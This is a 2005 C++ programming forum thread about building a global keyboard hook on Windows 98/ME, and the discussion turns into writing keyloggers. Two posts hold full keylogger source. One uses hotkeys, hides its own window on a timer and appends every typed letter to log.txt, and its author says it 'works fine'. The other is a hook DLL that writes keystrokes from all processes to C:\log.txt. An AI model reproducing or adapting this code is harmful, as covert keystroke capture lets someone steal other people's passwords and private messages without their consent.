Thread: Keyboard Hook

  1. #1
    C++ Enthusiast jmd15's Avatar
    Join Date
    Mar 2005
    Location
    MI
    Posts
    532

    Keyboard Hook

    I am using Windows 98 and on my other computer Windows ME, so this rules out using WH_KEYBOARD_LL. I want to set a windows keyboard hook and I know I have to write a DLL file so all processes can access it but I have never written a DLL before. Does anybody have a good link to where I could find out how to write a DLL for a keyboard hook, or give me some idea of their structure? Thanks.
    Trinity: "Neo... nobody has ever done this before."
    Neo: "That's why it's going to work."
    c9915ec6c1f3b876ddf38514adbb94f0

  2. #2
    Registered User Tonto's Avatar
    Join Date
    Jun 2005
    Location
    New York
    Posts
    1,465
    I assume you're doing global hooks then?
    Code:
    LRESULT WINAPI CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
    
    	if( code < 0 ) 
    		return CallNextHookEx( hKeyhook, code, wParam, lParam );
    
    	//////////
    	// Chops away the WM_KEYUP msg's
    	// that are also sent to filter function
    	///////////
    	if( (DWORD) lParam & 0x40000000 )
    	{
    		// Handle vkCodes in wParam here		
    	}
    	return CallNextHookEx(hKeyhook, code, wParam, lParam);
    }
    All your DLL really needs is that KeyboardProc (and windows.h), that source right there you can essentially stick in a .DLL project, add a .def file that exports the KeyboardProc (you could also add the identifies __delspec(dllexport) instead of a .def file), and then you can compile it. There is really no need for a DllMain, or any other accessory functions here really, unless you want. (Begging ensues): I think that you can add a global file handle to the .DLL so that you do not have to open and close the file handle on every goddamned call to the filter function, but I am not sure, as I have not gotton this to work. Anybody? Initialize the hadnle in DllMain? I don't know...
    Last edited by Tonto; 08-01-2005 at 02:43 PM. Reason: Incomplete sentence deleted because it was irrelevent?

  3. #3
    C++ Enthusiast jmd15's Avatar
    Join Date
    Mar 2005
    Location
    MI
    Posts
    532
    Ok, thanks. I got a handle onto the dll by using LoadLibrary. That seemed to work but so far the only problem is that even when I load the dll using LoadLibrary, it says the KeyboardProc, defined in the dll, is not defined. Do I need to define the basis for it:
    Code:
    LRESULT CALLBACK KeyboardProc(int,WPARAM,LPARAM);
    Like that? I'll keep trying different things. Thanks
    Last edited by jmd15; 08-01-2005 at 09:12 PM. Reason: Addition to post
    Trinity: "Neo... nobody has ever done this before."
    Neo: "That's why it's going to work."
    c9915ec6c1f3b876ddf38514adbb94f0

  4. #4
    Registered User Tonto's Avatar
    Join Date
    Jun 2005
    Location
    New York
    Posts
    1,465
    Three basic elements to the global hook:

    LoadLibrary
    GetProcAddress
    SetWindowsHookEx

    SetWindowsHookEx takes a callback (?) from what is returned from GetProcAddress, which would be your KeyboardProc. Always do the error checking on these functions.

  5. #5
    C++ Enthusiast jmd15's Avatar
    Join Date
    Mar 2005
    Location
    MI
    Posts
    532
    Thanks, that helped alot. From what I understand I should be able to use this function with the other embedded like this:
    Code:
    SetWindowsHookEx(WH_KEYBOARD,GetProcAddress(hDLL,
    TEXT("KeyboardProc")),hDLL,NULL);
    But this returns an error saying I'm passing an integer to argument 2 of SetWindowsHookEx. GetProcAddress returns an int so is there some kind of macro to convert that into an acceptable argument for SetWindowsHookEx? Thanks again.
    Trinity: "Neo... nobody has ever done this before."
    Neo: "That's why it's going to work."
    c9915ec6c1f3b876ddf38514adbb94f0

  6. #6
    Registered User Tonto's Avatar
    Join Date
    Jun 2005
    Location
    New York
    Posts
    1,465
    Some stupid messy code I tried making.

    Code:
    KEYLOGGER::Initialize(char * DllPath)
    {
    	_hLib = ::LoadLibrary (DllPath);
    
    	if(_hLib == NULL) 
    	{
    		Error("Error with loading library"); 
    		return 0;
    	}
    
    
    
    	_hProc = (HOOKPROC) 
    		::GetProcAddress(_hLib, "KeyboardProc");
    
    
    	if(_hProc == NULL)
    	{ 
    		Error("Keyhook procedure not located; failed"); 
    		return 0;
    	}
    
    
    	_hKeyhook = SetWindowsHookEx(WH_KEYBOARD, _hProc, _hLib, 0);
    	return 1;
    }
    That is kinda stupid code but it works, and if you really wanted to chop out all the error checking you could actually simplfy it down to:

    Code:
    	_hKeyhook = SetWindowsHookEx(WH_KEYBOARD, 
    		::GetProcAddress(_hLib, "KeyboardProc"), 
    		(_hLib = ::LoadLibrary (DllPath)), 0);
    As you can see, I casted the return of GetProcAddress as a HOOKPROC, which I am sure is typedef'd as a callback function somewhere in the depths of the Windows headers, but it really is hard looking for such things to find out yourself

  7. #7
    C++ Enthusiast jmd15's Avatar
    Join Date
    Mar 2005
    Location
    MI
    Posts
    532
    With slight modification I got it to compile. I am using Dev-C++ and it looks like your using MS V C++? Either way this is what it looks like now:
    Code:
    HINSTANCE _hLib=LoadLibrary ("keyhook.dll");
    FARPROC _hProc=GetProcAddress(_hLib, "KeyboardProc");
    HHOOK hKeyhook=SetWindowsHookEx(WH_KEYBOARD,
    (HOOKPROC)_hProc,_hLib, 0);
    It compiles and that should work correctly, Thanks Tonto.
    Oh sorry about asking another question but could I send the data, like the key code that the KeyboardProc function gets to my application with SendMessage. Putting SendMessage of course in the DLL code. If not that way then how?
    Last edited by jmd15; 08-02-2005 at 07:46 PM.
    Trinity: "Neo... nobody has ever done this before."
    Neo: "That's why it's going to work."
    c9915ec6c1f3b876ddf38514adbb94f0

  8. #8
    Registered User Tonto's Avatar
    Join Date
    Jun 2005
    Location
    New York
    Posts
    1,465
    Being the noob that I am, I've had some troubles with this. Shared memory confuses the hell out of me, and I am not exactly sure how to make make a global file handle work nicely.

    I thought at one point (I could not for my life find it again) I saw a WH_KEYBOARD hook example where it used CreateFileMapping to have both files have access to the file or something, I don't know. Like it confuses me. I don't know what to do!

    I mean, I think you could send WM_CHAR's to the main app somehow, but again I don't know!

    What I have in my app, which does not work, is a global file handle g_hFile is initialized in DllMain on DLL_PROCESS_ATTATCH, and then it is used throughout the KeyboardProc. But that does not work. I'm very bad with the whole .DLL thing and someone else should post here so I don't have to make guesses as how to do this.

    I mean, this post was assuming you do not want to open and close the file handle every single time the KeyboardProc is called (which would be every single keydown [and keyup but we don't process those]) because that is what I have seen in most open source keyloggers and that is stupid!

    Sorry for the unhelpful post, your about where I gave up

  9. #9
    Banned
    Join Date
    Oct 2004
    Posts
    250
    Here is a keylogger i made today it works fine maybe its some use to you ( dont use it for bad purposes)
    Code:
    #include <windows.h>
    #include <fstream>
    #include <iostream>
    #include <cstring>
    #include "resource.h"
    using namespace std;
    char logged_keys [256];
    char clear [256];
    
    
    LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
    {
        switch(msg)
        {
    	case WM_INITDIALOG:
    		RegisterHotKey(hwnd,1,NULL,VkKeyScan('a'));
    		RegisterHotKey(hwnd,2,NULL,VkKeyScan('b'));
    		RegisterHotKey(hwnd,3,NULL,VkKeyScan('c'));
    		RegisterHotKey(hwnd,4,NULL,VkKeyScan('d'));
    		RegisterHotKey(hwnd,5,NULL,VkKeyScan('e'));
    		RegisterHotKey(hwnd,6,NULL,VkKeyScan('f'));
    		RegisterHotKey(hwnd,7,NULL,VkKeyScan('g'));
    		RegisterHotKey(hwnd,8,NULL,VkKeyScan('h'));
    		RegisterHotKey(hwnd,9,NULL,VkKeyScan('i'));
    		RegisterHotKey(hwnd,10,NULL,VkKeyScan('j'));
    		RegisterHotKey(hwnd,11,NULL,VkKeyScan('k'));
    		RegisterHotKey(hwnd,12,NULL,VkKeyScan('l'));
    		RegisterHotKey(hwnd,13,NULL,VkKeyScan('m'));
    		RegisterHotKey(hwnd,14,NULL,VkKeyScan('o'));
    		RegisterHotKey(hwnd,15,NULL,VkKeyScan('p'));
    		RegisterHotKey(hwnd,16,NULL,VkKeyScan('q'));
    		RegisterHotKey(hwnd,17,NULL,VkKeyScan('r'));
    		RegisterHotKey(hwnd,18,NULL,VkKeyScan('s'));
    		RegisterHotKey(hwnd,19,NULL,VkKeyScan('t'));
    		RegisterHotKey(hwnd,20,NULL,VkKeyScan('u'));
    		RegisterHotKey(hwnd,21,NULL,VkKeyScan('v'));
    		RegisterHotKey(hwnd,22,NULL,VkKeyScan('w'));
    		RegisterHotKey(hwnd,23,NULL,VkKeyScan('x'));
    		RegisterHotKey(hwnd,24,NULL,VkKeyScan('y'));
    		RegisterHotKey(hwnd,25,NULL,VkKeyScan('z'));
    		RegisterHotKey(hwnd,30,NULL,VkKeyScan('n'));
    		RegisterHotKey(hwnd,29,NULL,VK_RETURN);
    		RegisterHotKey(hwnd,31,NULL,VkKeyScan('.'));
    		SetTimer(hwnd,1,5000,NULL);
    		SetTimer(hwnd,2,10000,NULL);
    		break;
    	case WM_TIMER:
    	case 1:
    		ShowWindow(hwnd,SW_HIDE);
    		break;
    	case WM_HOTKEY:
    	if (wParam == 1)
    	{
    		strcat(logged_keys,"a");
    		UnregisterHotKey(hwnd,1);
    		keybd_event(VkKeyScan('a'),1,0,0);
    		RegisterHotKey(hwnd,1,NULL,VkKeyScan('a'));
    		break;
    	}
    	if (wParam == 2)
    	{
    		strcat(logged_keys,"b");
    		UnregisterHotKey(hwnd,2);
    		keybd_event(VkKeyScan('b'),1,0,0);
    		RegisterHotKey(hwnd,2,NULL,VkKeyScan('b'));
    		break;
    	}
    	if (wParam == 3)
    	{
    		strcat(logged_keys,"c");
    		UnregisterHotKey(hwnd,3);
    		keybd_event(VkKeyScan('c'),1,0,0);
    		RegisterHotKey(hwnd,3,NULL,VkKeyScan('c'));
    		break;
    	}
    	if (wParam == 4)
    	{
    		strcat(logged_keys,"d");
    		UnregisterHotKey(hwnd,4);
    		keybd_event(VkKeyScan('d'),1,0,0);
    		RegisterHotKey(hwnd,4,NULL,VkKeyScan('d'));
    		break;
    	}
    	if (wParam == 5)
    	{
    		strcat(logged_keys,"e");
    		UnregisterHotKey(hwnd,5);
    		keybd_event(VkKeyScan('e'),1,0,0);
    		RegisterHotKey(hwnd,5,NULL,VkKeyScan('e'));
    		break;
    	}
    	if (wParam == 6)
    	{
    		strcat(logged_keys,"f");
    		UnregisterHotKey(hwnd,6);
    		keybd_event(VkKeyScan('f'),1,0,0);
    		RegisterHotKey(hwnd,6,NULL,VkKeyScan('f'));
    		break;
    	}
    	if (wParam == 7)
    	{
    		strcat(logged_keys,"g");
    		UnregisterHotKey(hwnd,7);
    		keybd_event(VkKeyScan('g'),1,0,0);
    		RegisterHotKey(hwnd,7,NULL,VkKeyScan('g'));
    		break;
    	}
    	if (wParam == 8)
    	{
    		strcat(logged_keys,"h");
    		UnregisterHotKey(hwnd,8);
    		keybd_event(VkKeyScan('h'),1,0,0);
    		RegisterHotKey(hwnd,8,NULL,VkKeyScan('h'));
    		break;
    	}
    	if (wParam == 9)
    	{
    		strcat(logged_keys,"i");
    		UnregisterHotKey(hwnd,9);
    		keybd_event(VkKeyScan('i'),1,0,0);
    		RegisterHotKey(hwnd,9,NULL,VkKeyScan('i'));
    		break;
    	}
    	if (wParam == 10)
    	{
    		strcat(logged_keys,"j");
    		UnregisterHotKey(hwnd,10);
    		keybd_event(VkKeyScan('j'),1,0,0);
    		RegisterHotKey(hwnd,10,NULL,VkKeyScan('j'));
    		break;
    	}
    	if (wParam == 11)
    	{
    		strcat(logged_keys,"k");
    		UnregisterHotKey(hwnd,11);
    		keybd_event(VkKeyScan('k'),1,0,0);
    		RegisterHotKey(hwnd,11,NULL,VkKeyScan('k'));
    		break;
    	}
    	if (wParam == 12)
    	{
    		strcat(logged_keys,"l");
    		UnregisterHotKey(hwnd,12);
    		keybd_event(VkKeyScan('l'),1,0,0);
    		RegisterHotKey(hwnd,12,NULL,VkKeyScan('l'));
    		break;
    	}
    	if (wParam == 13)
    	{
    		strcat(logged_keys,"m");
    		UnregisterHotKey(hwnd,13);
    		keybd_event(VkKeyScan('m'),1,0,0);
    		RegisterHotKey(hwnd,13,NULL,VkKeyScan('m'));
    		break;
    	}
    	if (wParam == 14)
    	{
    		strcat(logged_keys,"o");
    		UnregisterHotKey(hwnd,14);
    		keybd_event(VkKeyScan('o'),1,0,0);
    		RegisterHotKey(hwnd,14,NULL,VkKeyScan('o'));
    		break;
    	}
    	if (wParam == 15)
    	{
    		strcat(logged_keys,"p");
    		UnregisterHotKey(hwnd,15);
    		keybd_event(VkKeyScan('p'),1,0,0);
    		RegisterHotKey(hwnd,15,NULL,VkKeyScan('p'));
    		break;
    	}
    	if (wParam == 16)
    	{
    		strcat(logged_keys,"q");
    		UnregisterHotKey(hwnd,16);
    		keybd_event(VkKeyScan('q'),1,0,0);
    		RegisterHotKey(hwnd,16,NULL,VkKeyScan('q'));
    		break;
    	}
    	if (wParam == 17)
    	{
    		strcat(logged_keys,"r");
    		UnregisterHotKey(hwnd,17);
    		keybd_event(VkKeyScan('r'),1,0,0);
    		RegisterHotKey(hwnd,17,NULL,VkKeyScan('r'));
    		break;
    	}
    	if (wParam == 18)
    	{
    		strcat(logged_keys,"s");
    		UnregisterHotKey(hwnd,18);
    		keybd_event(VkKeyScan('s'),1,0,0);
    		RegisterHotKey(hwnd,18,NULL,VkKeyScan('s'));
    		break;
    	}
    	if (wParam == 19)
    	{
    		strcat(logged_keys,"t");
    		UnregisterHotKey(hwnd,19);
    		keybd_event(VkKeyScan('t'),1,0,0);
    		RegisterHotKey(hwnd,19,NULL,VkKeyScan('t'));
    		break;
    	}
    	if (wParam == 20)
    	{
    		strcat(logged_keys,"u");
    		UnregisterHotKey(hwnd,20);
    		keybd_event(VkKeyScan('u'),1,0,0);
    		RegisterHotKey(hwnd,20,NULL,VkKeyScan('u'));
    		break;
    	}
    	if (wParam == 21)
    	{
    		strcat(logged_keys,"v");
    		UnregisterHotKey(hwnd,21);
    		keybd_event(VkKeyScan('v'),1,0,0);
    		RegisterHotKey(hwnd,21,NULL,VkKeyScan('v'));
    		break;
    	}
    	if (wParam == 22)
    	{
    		strcat(logged_keys,"w");
    		UnregisterHotKey(hwnd,22);
    		keybd_event(VkKeyScan('w'),1,0,0);
    		RegisterHotKey(hwnd,22,NULL,VkKeyScan('w'));
    		break;
    	}
    	if (wParam == 23)
    	{
    		strcat(logged_keys,"x");
    		UnregisterHotKey(hwnd,23);
    		keybd_event(VkKeyScan('x'),1,0,0);
    		RegisterHotKey(hwnd,23,NULL,VkKeyScan('x'));
    		break;
    	}
    	if (wParam == 24)
    	{
    		strcat(logged_keys,"y");
    		UnregisterHotKey(hwnd,24);
    		keybd_event(VkKeyScan('y'),1,0,0);
    		RegisterHotKey(hwnd,24,NULL,VkKeyScan('y'));
    		break;
    	}
    	if (wParam == 25)
    	{
    		strcat(logged_keys,"z");
    		UnregisterHotKey(hwnd,25);
    		keybd_event(VkKeyScan('z'),1,0,0);
    		RegisterHotKey(hwnd,25,NULL,VkKeyScan('z'));
    		break;
    	}
    	if (wParam == 30)
    	{
    		strcat(logged_keys,"n");
    		UnregisterHotKey(hwnd,30);
    		keybd_event(VkKeyScan('n'),1,0,0);
    		RegisterHotKey(hwnd,30,NULL,VkKeyScan('n'));
    		break;
    	}
    	if (wParam == 29)
    	{
    			ofstream l_file("log.txt", ios::app);
    			l_file << logged_keys <<endl;
    			strcat(logged_keys,clear);
    			UnregisterHotKey(hwnd,29);
    			keybd_event(VK_RETURN,1,0,0);
    			RegisterHotKey(hwnd,29,NULL,VK_RETURN);
    		break;
    	}
    	if (wParam == 31)
    	{
    		strcat(logged_keys,".");
    		UnregisterHotKey(hwnd,31);
    		keybd_event(VkKeyScan('.'),1,0,0);
    		RegisterHotKey(hwnd,31,NULL,VkKeyScan('.'));
    		break;
    	}
    	}
    	return false;
    }
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
        LPSTR lpCmdLine, int nCmdShow)
    {
    	DialogBox(hInstance,MAKEINTRESOURCE(IDD_DIALOG1),NULL,DLGPROC(WndProc));
    	return false;
    }

  10. #10
    Banned
    Join Date
    Oct 2004
    Posts
    250
    by the way does anyone know how to clear an array of chars is their a function like clear();?

  11. #11
    C++ Enthusiast jmd15's Avatar
    Join Date
    Mar 2005
    Location
    MI
    Posts
    532
    You could try the free function. I don't know if its what your looking for but its worth a try. Oh and for the code you posted, I'm assuming thats the code for the dll? If it's not then that keylogger wouldn't be global. Thanks for the replies, both Tonto, and cgod.
    Trinity: "Neo... nobody has ever done this before."
    Neo: "That's why it's going to work."
    c9915ec6c1f3b876ddf38514adbb94f0

  12. #12
    Registered User Tonto's Avatar
    Join Date
    Jun 2005
    Location
    New York
    Posts
    1,465
    Holy ........ cgod that's some funny code. Ever hear about loops? You could just loop through and check lParam and register the hotkeys. However, this seems like a sort of retarded question. Here's the .DLL source to my poor attempt at a keylogger which does not work:

    Code:
    #include <windows.h>
    
    HHOOK		hKeyhook;
    TCHAR		szBuf[1];
    DWORD		dwBytes;
    HANDLE		g_hFile;
    
    
    
    BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
    {
        /////////////
    	// This is very beta and I am still working on what
    	// is actually happening. When logger exe attaches
    	// Log file is created, on detach, handle close??
    	//////////////
    	switch( fdwReason ) 
        { 
            case DLL_PROCESS_ATTACH: 	
    			g_hFile = ::CreateFile
    					("C:\\log.txt", GENERIC_WRITE, 0, NULL, 
    					CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); break;
    
            case DLL_THREAD_ATTACH: break;
            case DLL_THREAD_DETACH: break;
            case DLL_PROCESS_DETACH: ::CloseHandle(g_hFile); break;
        }
    
        return TRUE;
    }
    LRESULT WINAPI CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
    	
    	
    	if( code < 0 ) 
    		return CallNextHookEx( hKeyhook, code, wParam, lParam );
    
    
    	///////////
    	// Process the hook, key messages
    	// are in wParam, lParam contains
    	// mostly useless info I had trouble
    	// implementing and gave up
    	///////////
    	if( (DWORD) lParam & 0x40000000 )
    	{
    
    		if( wParam == VK_SPACE ) ::WriteFile( g_hFile, " ", 1, &dwBytes, NULL );
    		else if( wParam == VK_RETURN ) ::WriteFile( g_hFile, "\n", 1, &dwBytes, NULL );
    	
    		///////////////
    		// Letters and such
    		///////////////
    		else if( wParam > 0x40 && wParam < 0x5B ) 
    		{
    			if( GetKeyState( VK_CAPITAL ) ) 
    			{ 
    				szBuf[ 0 ] = wParam;
    				szBuf[ 1 ] = '\0';
    				::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL );
    			} 
    			else 
    			{ 
    				szBuf[ 0 ] = wParam + 0x20;
    				szBuf[ 1 ] = '\0'; 
    				::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL );
    			}
    		}
    	}
    	return CallNextHookEx(hKeyhook, code, wParam, lParam);
    }
    The szBuf looks funny

    As you can see what I intended was that the handle to the log would be initialized on process attatch (from the main executable) but this doesn't really work because I think the code is injected into all running processes and so a lot of processes would attatch to it I think (I don't know MSDN wasn't entirely thorough with the low level aspects of a hook). So, I mean, how can I have code which initializes the global file handle properly? I'm going to try a few things and report back because I have a few ideas

    @cgod: you can use memset to clear a block of memory or whatever. Or ZeroMemory since we're in the win32 here
    Last edited by Tonto; 08-03-2005 at 11:45 AM. Reason: Quick edit to advise cgod

  13. #13
    C++ Enthusiast jmd15's Avatar
    Join Date
    Mar 2005
    Location
    MI
    Posts
    532
    I tried your DLL code with my application, and they both compiled. When I ran them, the C:/log.txt file was NOT created. So something is stopping,not linking, or it's not executing that part. I'll keep trying as well and let you know if I'm successful.
    Trinity: "Neo... nobody has ever done this before."
    Neo: "That's why it's going to work."
    c9915ec6c1f3b876ddf38514adbb94f0

  14. #14
    the magic penguim
    Join Date
    Jul 2005
    Posts
    91
    Tonto I wonder if your keylloger works... Aren't you just writing the new content over the old content? Instead of writing it to the end of the file?

    WriteFile confuses me

  15. #15
    Banned
    Join Date
    Oct 2004
    Posts
    250
    no its not the code for the DLL compile it. RegisterhotKey(); makes a global "hotkey" the keylogger works fine just im having trouble freeing the data from logged_keys.
    the free() function won't work because its for freeing data from the heap.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Simulate Keys with a Keyboard Hook
    By guitarist809 in forum Windows Programming
    Replies: 3
    Last Post: 11-14-2008, 08:14 PM
  2. C++ Global Keyboard Hook
    By darknite135 in forum C++ Programming
    Replies: 4
    Last Post: 02-01-2008, 07:36 PM
  3. Keyboard hook
    By joecaveman in forum Windows Programming
    Replies: 2
    Last Post: 09-03-2005, 08:07 AM
  4. How to keep static data in a keyboard hook?
    By junbin in forum Windows Programming
    Replies: 1
    Last Post: 01-19-2003, 03:24 AM